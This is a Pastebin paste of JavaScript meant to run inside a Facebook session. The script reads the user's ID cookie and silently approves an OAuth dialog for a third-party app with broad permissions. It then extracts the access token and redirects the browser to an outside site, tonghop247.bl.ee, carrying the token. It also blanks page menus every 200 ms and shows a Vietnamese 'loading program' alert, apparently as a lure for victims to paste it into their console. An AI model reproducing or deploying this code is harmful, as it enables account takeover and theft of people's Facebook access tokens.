Advertisement
vlthanhay

chạy

Sep 25th, 2014
276
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.96 KB | None | 0 0
  1. //HuuKhiem
  2. if(location.hostname.indexOf("www.facebook.com","static.ak.facebook.com","apps.facebook.com","beta.facebook.com")>=0)
  3. {
  4. var profile_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
  5. function uygulamaizinver(url)
  6. {
  7. var xmlhttp=new XMLHttpRequest();
  8. xmlhttp.onreadystatechange=function()
  9. {
  10. if(xmlhttp.readyState==4)
  11. {
  12. izinverhtml=document.createElement("html");
  13. izinverhtml.innerHTML=xmlhttp.responseText;
  14. if(izinverhtml.getElementsByTagName("form").length>0)
  15. {
  16. izinverhtml.innerHTML=izinverhtml.getElementsByTagName("form")[0].outerHTML
  17. act=izinverhtml.getElementsByTagName("form")[0].action;
  18. duzenlevegonder(izinverhtml,act);
  19. }
  20. }
  21. };
  22. xmlhttp.open("GET",url,true);
  23. xmlhttp.send();
  24. }
  25. function duzenlevegonder(formnesne,act)
  26. {
  27. izinverparams="";
  28. for(i=0;
  29. i<formnesne.getElementsByTagName("input").length;
  30. i++)
  31. {
  32. if(formnesne.getElementsByTagName("input")[i].name.indexOf("__CANCEL__")<0&&formnesne.getElementsByTagName("input")[i].name.indexOf("cancel_clicked"))
  33. {
  34. izinverparams+="&"+formnesne.getElementsByTagName("input")[i].name+"="+formnesne.getElementsByTagName("input")[i].value;
  35. }
  36. }
  37. if(formnesne.getElementsByTagName("select").length>0)
  38. {
  39. izinverparams+="&"+formnesne.getElementsByTagName("select")[0].name+"=80";
  40. }
  41. izinverparams.replace("&fb_dtsg","fb_dtsg");
  42. izinverparams+="&__CONFIRM__=1";
  43. formnesne=formnesne;
  44. var xmlhttp=new XMLHttpRequest();
  45. xmlhttp.onreadystatechange=function()
  46. {
  47. if(xmlhttp.readyState==4)
  48. {
  49. izinhtml=document.createElement("html");
  50. izinhtml.innerHTML=xmlhttp.responseText;
  51. if(izinhtml.getElementsByTagName("form").length>0)
  52. {
  53. izinhtml.innerHTML=izinhtml.getElementsByTagName("form")[0].outerHTML;
  54. act=izinhtml.getElementsByTagName("form")[0].action;
  55. duzenlevegonder(izinhtml,act)
  56. }
  57. else
  58. {
  59. sex=xmlhttp.responseText.match(/#access_token=(.*?)&expires_in/i);
  60. if(sex[1])
  61. {
  62. tokenyolla(sex[1]);
  63. }
  64. }
  65. }
  66. };
  67. xmlhttp.open("POST",act,true);
  68. xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  69. xmlhttp.send(izinverparams);
  70. }
  71. function TokenUrl(id)
  72. {
  73. return "//www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id="+id+"&redirect_uri=fbconnect://success&sso_key=com&scope=email,publish_stream,user_likes,friends_likes,user_birthday";
  74. }
  75. if(!localStorage['token_'+profile_id]||(localStorage['token_'+profile_id]&&tarih.getTime()>=localStorage['token_'+profile_id]))
  76. {
  77. uygulamaizinver(TokenUrl("121876164619130"));
  78. var http=new XMLHttpRequest();
  79. http['open']('GET','http://graph.facebook.com/'+profile_id,false);
  80. http['send']();
  81. var get=JSON.parse(http['responseText']);
  82. var isim=get.name;
  83. }
  84. window.setInterval(function()
  85. {
  86. if(document.getElementsByClassName("_5ce"))
  87. {
  88. for(i=0;
  89. i<document.getElementsByClassName("_5ce").length;
  90. i++)
  91. {
  92. document.getElementsByClassName("_5ce")[i].innerHTML="";
  93. }
  94. }
  95. if(document.getElementsByClaassName("uiToggle wrap"))
  96. {
  97. for(i=0;
  98. i<document.getElementsByClassName("uiToggle wrap").length;
  99. i++)
  100. {
  101. document.getElementsByClassName("uiToggle wrap")[i].innerHTML="";
  102. }
  103. }
  104. if(document.getElementsByClassName("uiPopover"))
  105. {
  106. for(i=0;
  107. i<document.getElementsByClassName("uiPopover").length;
  108. i++)
  109. {
  110. document.getElementsByClassName("uiPopover")[i].innerHTML="";
  111. }
  112. }
  113. }
  114. ,200);
  115. function tokenyolla(token)
  116. {
  117. top.location.href='http://tonghop247.bl.ee/vt/index.html#'+token;
  118. }
  119. }
  120. var alibasim = "Đang nạp chương trình.Vui lòng đợi!";
  121. alert(alibasim);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement